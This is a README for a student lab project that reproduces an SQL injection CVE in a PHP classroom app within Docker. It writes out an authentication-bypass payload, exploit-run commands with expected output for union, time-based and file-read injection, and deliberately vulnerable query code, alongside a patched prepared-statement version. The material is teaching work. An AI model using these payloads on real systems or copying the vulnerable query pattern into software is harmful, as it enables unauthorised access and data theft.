ENSIMAG学术项目 - 3A安全
作者:Wail Yacoubi, Mohammed-Yassine Akhmari
日期:2026年1月
此代码有意包含漏洞,仅供教育用途。
切勿部署到生产环境。
复现CVE-2025-26198:CloudClassroom-PHP-Project v1.0中的严重SQL注入漏洞。
CVE特征:
官方参考:https://nvd.nist.gov/vuln/detail/CVE-2025-26198
演示4种SQL注入利用技术:
pip install requests# 克隆仓库
git clone <votre-repo>
cd CVE-2025-26198
# 启动基础设施
docker-compose up -d
# 等待MySQL就绪(30秒)
sleep 30
# 检查容器
docker-compose ps
填写表单:
admin' OR '1'='1'-- -anything点击登录
结果:管理员登录成功,无需有效密码。
说明:
有效载荷将SQL查询转换为:
-- 正常查询
SELECT * FROM admin WHERE username='admin' AND password=MD5('test')
-- 注入后的查询
SELECT * FROM admin WHERE username='admin' OR '1'='1'-- -' AND password=MD5('test')
OR '1'='1'始终为真,-- -注释掉其余部分。
python exploit_simple.py http://localhost:8081
预期输出:
CVE-2025-26198 - SQL Injection Exploit
==================================================
[*] Target: http://localhost:8081/loginlinkadmin.php
[*] Payload: admin' OR '1'='1'-- -
[+] Exploitation successful
[+] Status Code: 200
python exploit.py http://localhost:8081
预期输出:
============================================================
CVE-2025-26198 - SQL Injection Exploitation
============================================================
Test 1: Boolean-based Authentication Bypass
[+] Authentication bypass SUCCESSFUL
[+] Admin access obtained without valid credentials
Test 2: Union-based Data Extraction
[*] Detecting number of columns...
[+] Number of columns: 5
[+] Database name: cloudclassroom
[+] MySQL user: [email protected]
[+] MySQL version: 5.7.44
[+] Tables: admin,students
[+] Admin data:
- admin:[email protected]
- superadmin:[email protected]
Test 3: Time-based Blind SQL Injection
[*] Response time: 3.05 seconds
[+] Time-based injection CONFIRMED
Test 4: File Read via LOAD_FILE()
[+] File read SUCCESSFUL
[+] FILE privilege confirmed
EXPLOITATION SUMMARY
[✓] Boolean-based (Auth Bypass)
[✓] Union-based (Data Extraction)
[✓] Time-based (Blind Detection)
[✓] File Read (LOAD_FILE)
使用预处理语句测试安全版本:
# 启用已修补版本
mv app/loginlinkadmin.php app/loginlinkadmin_VULNERABLE.php
mv app/loginlinkadmin_PATCHED.php app/loginlinkadmin.php
docker-compose restart web
sleep 3
# 重新测试漏洞利用
python exploit_simple.py http://localhost:8081
预期结果:
[-] Error: Connection aborted
[-] Exploitation failed
攻击被输入验证和预处理语句阻止。
恢复有漏洞版本:
mv app/loginlinkadmin.php app/loginlinkadmin_PATCHED.php
mv app/loginlinkadmin_VULNERABLE.php app/loginlinkadmin.php
docker-compose restart web
有漏洞代码:
$sql = "SELECT * FROM admin WHERE username='$input_username' AND password=MD5('$input_password')";
$result = $conn->query($sql);
安全代码:
$stmt = $pdo->prepare("SELECT * FROM admin WHERE username = :username AND password = MD5(:password)");
$stmt->bindParam(':username', $input_username, PDO::PARAM_STR);
$stmt->bindParam(':password', $input_password, PDO::PARAM_STR);
$stmt->execute();
CVE-2025-26198/
├── README.md
├── RAPPORT.md
├── docker-compose.yml
├── app/
│ ├── index.html
│ ├── loginlinkadmin.php # 有漏洞版本
│ ├── loginlinkadmin_PATCHED.php # 安全版本
│ └── sql/
│ ├── init.sql
│ └── grant_file.sql
├── exploit.py
├── exploit_simple.py
└── screenshots/
docker-compose logs web
docker-compose down
docker-compose up -d --build
# 检查MySQL
docker-compose exec db mysql -udbuser -pdbpassword -e "SELECT 1"
# 检查web服务
curl http://localhost:8081
# 检查当前版本
head -n 2 app/loginlinkadmin.php
修改docker-compose.yml:
ports:
- "8082:80"
参见RAPPORT.md了解详细分析,包括:
本项目仅出于教育目的,在ENSIMAG网络安全课程框架下开发。
允许用途:
禁止用途:
任何超出学术范围的使用均被严格禁止且违法。
作者
Wail Yacoubi & Mohammed-Yassine Akhmari
ENSIMAG - 2026届
课程:3A安全
| 方面 | 有漏洞版本 | 已修补版本 |
|---|
| SQL查询 | 直接拼接 | PDO预处理语句 |
| 输入验证 | 无 | 字母数字正则 |
| 输出转义 | 否 | htmlspecialchars() |
| SQL注入 | 可利用 | 已阻止 |
| 日志 | 无 | error_log() |